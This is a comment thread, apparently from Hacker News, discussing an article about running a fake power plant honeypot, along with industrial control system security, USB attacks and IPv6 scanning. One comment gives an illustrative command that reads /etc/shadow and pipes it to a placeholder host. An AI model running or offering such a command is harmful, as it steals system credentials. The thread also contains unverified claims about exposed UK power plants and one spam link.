9 ms·
Running a fake power plant on the internet for a month
- papaf 6y agoIt seems obvious not to connect a power plant to the internet but there have also been of attacks against "air gapped" systems: https://www.reuters.com/article/cybersecurity-powerplants-idUSL1E9CGFPY20130116 https://www.reuters.com/article/cybersecurity-powerplants-id... Edit. There is also a more in depth Scientific American article. Search for "Hacking the Lights Out".
- cmrx64 6y agoi learned to my displeasure that thick manuals are sometimes distributed with products as USB sticks these days, i immediately thought of this when i opened up an inverter box and saw a USB stick sitting there
- implements 6y agoSome home broadband routers have a NAS-like ability to mount USB sticks as a SAMBA share - I use a spare one for iffy sticks on the assumption they’re unlikely to come ready to compromise some random non-PC embedded OS.
- ChrisMarshallNY 6y agoThat's a great idea! I would suspect that maybe setting up a Linux box on an old unit might be a similar exercise.
- krisoft 6y agoI understand that not sticking USB sticks into sensitive systems is the prudent conservative security choice. The “silly users picking up USB sticks dropped in the parking lot” is a basically a security trope nowadays. But I feel there should be some blame associated with our operating systems too. Like why is this an axiom that if you use an untrusted USB stick you are going to get eaten by the Grue? If an Os would say “sorry bad people got into your network, your computer is now owned by them” that would be an unacceptable security vulnerability, why is the equivalent accepted as a fact of life with “bad usb sticks”? I understand the OS cant do much with a usb device which burns out the motherboard with an electric shock. But there is a whole set of other things it should reasonably protect itself from.
- verteu 6y agoMy understanding is that the OS can't differentiate a malicious USB stick from a USB keyboard. In particular, the keyboard could be typing "sudo cat /etc/shadow | telnet bad.com 80"...
- alisonkisk 6y agoIt's more of a systemic problem. We don't have this problem with bluetooth or wifi because it uses encryption and individual keys. But usb is unencrypted with no secure identification mechanism.
- krisoft 6y agoI was thinking about that. What the OS could do is to ask for confirmation on the second keyboard. It could be something as simple as “Looks like you connected a secondary keyboard. Please type in the following random 3 numbers before it becomes active.” If on boot it finds two keyboards it can do the same with both.
- ChrisMarshallNY 6y ago> Please type in the following random 3 numbers before it becomes active. Mac OS does something like this. If, say, I attach (via either USB or Bluetooth), a presentation remote, I'll get a keyboard identifier alert. It isn't really anything more than an alert, though, because I can ignore the ID step, and it still works.
- mschuster91 6y agoOnly for keyboards whose VID/PID combo it doesn't know and so can't associate a scancode mapping.
- Verdex 6y agoAppearently the os can't differentiate between any USB devices. I saw a great video years ago (which I haven't been able to locate for years) that went into detail as to how you can basically make a custom usb device arbitrarily malicious. The trick that sounded particularly good was that you can impersonate a usb device that requests a driver that has a known security vulnerability. Fun times.
- netflixandkill 6y agoAlmost every power plant is effectively internet connected even if it has old control equipment that predates IP as the vast majority of SCADA systems have IP connected HMIs or other core components. There may be steps involved in getting your RDP exploit to send commands over vendor proprietary RS-485 protocols, but except for certain nuclear plants that are truly air gapped, but it's fewer than you'd sleep soundly knowing about. I once had a network admin at a major US transmission utility tell me with a straight face that all of their SCADA was pure serial as I was telnetting into the Zhone mux doing those serial channels via a WiFi connection.
- akg_67 6y agoIn 1990s, When I worked with process control systems, primarily DCS, for petrochemicals, beverages, and other chemical plants, we had phone modems connected to our systems. Only precaution was that modems were not connected to phone port unless someone needed remote access and were disconnected after use. Actually, we used to computer simulate operations of facility to test our DCS systems against.
- weaksauce 6y agoyeah, having actually worked with plcs in industrial control systems... the security is, ahem, lacking for the most part. not that my work was with high security process control but I'd say it's fundamentally lacking for the most part as the state of the art is not that great.
- wyager 6y agoI was once talking to an industrial automation engineer at a huge and strategically relevant US industrial group (they made aluminum parts or something, and their direct customers included aircraft manufacturers and military) and he was proudly telling me how they patched raspberry pis into their industrial control systems so they could administer things remotely. It wasn’t super confidence inspiring.
- merlinscholz 6y agoThe book Sandworm by Andy Greenberg also goes a little into depth about attacking powerplants and other industrial control systems. Can highly recommend!
- hutzlibu 6y ago"attacking powerplants and other industrial control systems. Can highly recommend!" Sounds fun, but please not in my neighbourhood ..
- wongarsu 6y agoPower grids are typically only designed to tollerate one or two major faults at once, so if you mess with enough powerplants at the same time you might be able to trigger a failure that cascades through the entire powergrid. In the 2006 European Blackout [1] a single poorly executed line cut led to a cascading failure that left 10 million people over 5 countries without power for two hours. So better stay a couple countries away from me with experiments. Or maybe don't, better a benevolent chaos monkey than being hit unprepared by your enemy. 1: https://en.wikipedia.org/wiki/2006_European_blackout https://en.wikipedia.org/wiki/2006_European_blackout
- turminal 6y agoA similar thing almost happened recently because of a Romanian power plant. And there was also an incident in Kosovo a few years ago that caused a slight frequency decrease that caused all sorts of problems.
- hutzlibu 6y agoI suppose with the state-level hacking of the powergrid is, most can do it, but won't because the enemy can do so, too. So like the nuclear standoff. Nobody uses it, because the enemy can wreck your shit, too. But the whole grid needs a rework. Also because of renewables and batteries etc. To better react do changing demand and enable a free market, where it is easy to buy and sell power.
- 6y ago
- hutzlibu 6y agoOk, but the attack on the air gapped system was simply via a infected USB stick. There are more interesting ways, to do it: https://hackaday.com/2017/02/02/hacking-the-aether/ https://hackaday.com/2017/02/02/hacking-the-aether/
- zwog 6y agoStuxnet[0] for example. A highly sophisticated attack using several Windows 0-day exploits and infecting USB Flash drives to get to a air gapped Notebook that is used to program PLCs. 0: https://en.wikipedia.org/wiki/Stuxnet https://en.wikipedia.org/wiki/Stuxnet
- Hickfang 6y ago> Stuxnet[0] for example. A highly sophisticated attack using several Windows 0-day exploits Nobody in their right minds uses windows to control vital industrial plant, especially nuclear centrifuges.
- deepstack 6y agoDigital system are just not mature and harden enough for security. Seems like we need to harden them on the software and hardware level before they can be trusted for driving car and other machinery stuff.
- ktpsns 6y agoScanning the whole IPv4 Internet goes pretty fast (I think you can do it on a private subscriber line in a few days). What about IPv6? If I "hide" my service in my public /64 network, can I feel safe against IP scanning? That would be some security by obscurity based on the huge address space (similar to changing default TCP ports)
- vbezhenar 6y agoI think that you'll be safe for outside scans. But IPv6 devices usually talk via ICMPv6 inside their subnet, so if there are other guys on your subnet, they might find out your address. That was the case in some VPS hosters that I used, with tcpdump I was able to see addresses of other nodes.
- nisa 6y agowhile at uni a colleague discovered zmap and scanned 0/0 from the 1gps line for the port of the intel amt management a day after a remote code exec bug was found there. he was just curious but watching the fallout and the angry forwarded mails these days was quite fun... be careful :)
- londons_explore 6y agoAny time you connect to a website, you reveal your IPv6 address. I can bet there is a market for making lists of valid IPv6 addresses from web logs and selling those lists to people who want to port scan those hosts. You might even find big carriers mine IP packets to find IP addresses they can sell.
- e2le 6y agoGiven that a fair few devices will fill-in the "interface" bits of the IPv6 address with their MAC (SLAAC), it might be possible to reduce the number of addresses to scan in an IPv6 /64 prefix assuming you know what devices are likely to be used on that network. It's also very likely your device will be syncing it's clock with an NTP server such as (pool.ntp.org) which can be scraped by running your own stratum 2/3 server and adding yourself to the pool. https://www.ntppool.org/en/ https://www.ntppool.org/en/
- binarysneaker 6y agoWould be interested in a follow up article, especially if it baited more activity. The conclusion is woefully short, and I could speculate on some of the results, particularly the activity from the .tw domain. More investigation welcome.
- Stierlitz 6y ago"One of the concerns .. was the lack of insight into malicious digital (state sponsored) activity towards vital infrastructure." Have these people ever given consideration to not connecting their vital infrastructure to the Internet. Instead using VPNs running on embedded hardware providing a .. virtual private network.
- gorgoiler 6y agoIf you run a fake host (honeypot) to waste their resources, won’t they run a fake attack to waste your resources? Unless it is a substantial asset, all a honeypot will do is detect a honeypot detector? When the attack comes from dhcp-XX-XX-XX-XX.rotation5.pool7.isptelecoms.co.abc, you can now determine to block all further attacks from that IP address, but to what positive effect? The next probe will come from somewhere else and just skip over your detector?
- meibo 6y agoThe point of honeypots is not to block malicious IPs, but to become aware of places in your security concept where more hardening is needed, be it exploits, misconfigured firewalls, etc. That can be a lot of things, blocking IP ranges can be one of those things if you e.g. only want to allow access to your assets from your building, but that's a general step and not reactionary to attacks.
- waihtis 6y agoI run a honeypot software company, with our customers being mid-large enterprises. While the case presented here is certainly interesting, it's actually fairly uncommon for companies to run internet-facing honeypots, mostly due to it being a huge resource sink, and it's fairly difficult to learn anything truely useful from observing attacks coming from (mostly) bots. The more interesting use case for most is planting these in your network internals, which gives an added benefit of early, high-fidelity threat detection in addition to the "threat intelligence" bonuses. It's not completely trivial to set up, but can be a reasonably quick way to build good detection capability into even very disparate environments. A vast majority of organizations still lack good situational awareness of their infrastructures and this is one way of improving on that.
- wwv25 6y agoDid you plant internally to detect malicious actors from within the organization or as a way to definitively detect external actors who have presumably entered the network through an exploit?
- faeyanpiraat 6y agoWhy not both?
- mosselman 6y agoYou are probably right, but ‘both’ is the easy answer I’d think. The question really was what the intention is, not the effect. Catching attacks from within the organisation might just be a side-effect of catching remote hackers for example. The effect is then ‘both’, but the intention is the latter. Why the question deserves a better answer than “why not both” is that the reasoning behind using internal honeypots is interesting. Which arguments speak for it, which against. So let’s not kill this question thread with a too shallow answer.
- waihtis 6y agoBoth are viable. It depends a bit on industry; pharma companies, say, are quite concerned about internal threats whereas financial and retail are more likely targets of external actors. You do need to consider the type of honeypot used - asking the question "what is the goal the adversary has" is a good question to ask and optimizing you honeypots based on that is a smart thing. An internal threat is going to look for specific types of assets, and you need to build honeypots (or decoys, as the modern lingo calls them) that look like those assets.
- AdrianB1 6y agoAt work I have access to servers controlling dozens of manufacturing plants around the world. All the PLCs and the control equipment are behind a local firewall with very strict controlled inbound addresses; that means I cannot interact with it from my computer, only from the server that is collecting and archiving data. This setup is approximately the standard in the industry, there are a small number of solutions everyone is using and the implementation guidelines are very clear and easy to follow. That makes any honeypot an obvious honeypot because there is no such thing as a PLC accessible from Internet in a real production site.
- mercora 6y agothat will just move the target of those attacks to these servers (or now yourself who stated to have access to these) with apparently a lot more rewarding outcomes too.
- AdrianB1 6y agoCorrect, but the servers are not published to Internet either, there is no reason to ever do that. Cracking the VPN to get to the company intranet, that is a different story.
- rm445 6y ago> there is no such thing as a PLC accessible from Internet in a real production site. That is so massively optimistic. I don't doubt you know your stuff, but manufacturing is a huge field, widely distributed, it is done by small companies as well as large ones, and specifying and purchasing a PLC system can be done to satisfy operational needs without necessarily having suitable network infrastructure and security expertise. The number of PLCs "accessible from Internet in a real production site" is probably in the thousands.
- AdrianB1 6y agoSmaller companies take shortcuts, that is true, but not a nuclear power plant like the bait used in the article. Smaller companies also do less damage when they are hacked.
- deleted 6y ago[deleted]
- secfirstmd 6y agoFor anyone looking to experiment with honeypots TPOT is awesome. They've really done a great job of building a simple, well presented and fairly stable tool that pulls together a lot of honeypots into the one place. A sophisticated attacker can usually detect it but it's very good and easy to setup all the same. You really need to run it on 16gb RAM if you are using the full thing. It's very interesting the results you see depending on where you put it (internal/external etc). Pretty quickly you get a decent sense of the pulse of the internet - XYZ is spreading, ABC range is compromised etc. Though you also get heaps of data so you need to find ways to really drill down also. https://github.com/telekom-security/tpotce https://github.com/telekom-security/tpotce
- ourlordcaffeine 6y agoSeveral power plants in the uk have their control systems entirely open on the net. No authentication or encryption, you just need to know the IP address
- eli 6y agoI don’t believe it
- berkes 6y agoHaving worked at a power-plant and a pumping station, I can believe it. Such places will be left open now and again. Mistakes happen. Anything from "ABB needs the telemetry but cannot visit the site in person due to covid, can you open the firewall on port 1337 when they call you". Sure. (and then forgets). Some engineer left a dongle in a controller, during an emergency a laptop logs on on the network that is not properly secured etc. What I don't believe is that OP never reported it. Because such places will have protocols and will fix it the moment someone calls. And if they don't have protocols, they will have them by the end of the week. Edit: so what I also don't believe is that OP is certain they are still wide open.
- ourlordcaffeine 6y agoTold them ages ago, they haven't fixed it and don't seem to care. They want to be able to operate the turbines remotely and either don't care or don't understand the need for authentication. Should add that these plants aren't big enough to cause a blackout if they are hacked, the only losers will be the owners.
- hyper_reality 6y agoHow do you know these aren't honeypots?
- ourlordcaffeine 6y agoI work in the industry. I know what power plants they are
- some_random 6y agoThis is interesting, but like most honeypot discussion kinda melodramatic. They got scanned by a bunch of known internet scanners, and a few mysteries including a "store that sells weaponry" (which turns out to just be scopes and red dots -_-). It's always good to people reporting that they discovered nothing, but it is a bit boring.
- butwhywhyoh 6y agoThis is likely just a way to subtly show off the authors talents. But I completely agree. Absolutely nothing of interest.
- stefan_ 6y agoSo all the traffic is various indexing companies and none of them made an effort to contact the author? What if, you know, the guys pretending to be good are actually just baddies selling out?
- jakespracher 6y agoFWIW I interned at a US nuclear plant. They intentionally don't upgrade to digital systems for fear of being hacked, everything in the plant was analog when I was there 6 years ago.
- beckingz 6y agoGetting replacements for some of those older parts is hard!
- deepstack 6y agoGood for them! These vary from simple “smart” light switches, to machinery used in industrial plants This line makes me cringe. Current IT infrastructure are just NOT secure. Until the major IT tech companies and nation state can prove otherwise, important machineries, especially nuclear ought to be kept off internet and digital system.
- collsni 6y agoYes because a nuclear power plant would have a plc Nat'd to the internet. Multi-million dollar budget, we'll just NAT the plc so joe can work from home.
- lambda_obrien 6y agoThere are plenty of real power plants connected to the internet today in the form of virtual aggregations of large batteries. In a decade there will be gigawatts of them online, so let's hope those companies take security seriously because it'd be simple to break things with the instant availability of several gigawatts on some circuit.
- SMAAART 6y agoI feel like I have worked for fake companies in the past.
- alisausaaa 6y agoWanna have hot-lovin' conversations? You’re on the right way! - https://adultlove.life https://adultlove.life
- throwawaysea 6y agoHow do hackers get access to these devices and learn about how they're deployed in order to be able to exploit them? Can someone ELI5 this?
- Moody_10001 6y agoInstead of using reverse DNS to see where traffic is from (e.g. the optisan.com.tw fqdn) you might be better to do a whois lookup on the source IP addresses. Reverse DNS can point anywhere, but you can't make IP addresses in TCP connections.
- stjohnswarts 6y agoThis seems like a really really obvious honeypot. I mean a nuclear power plant with an internet facing PLC??? I mean probably even haX0r bois aren't that stupid? Maybe they are it didn't seem like he got any real hits from a malevolent hacker.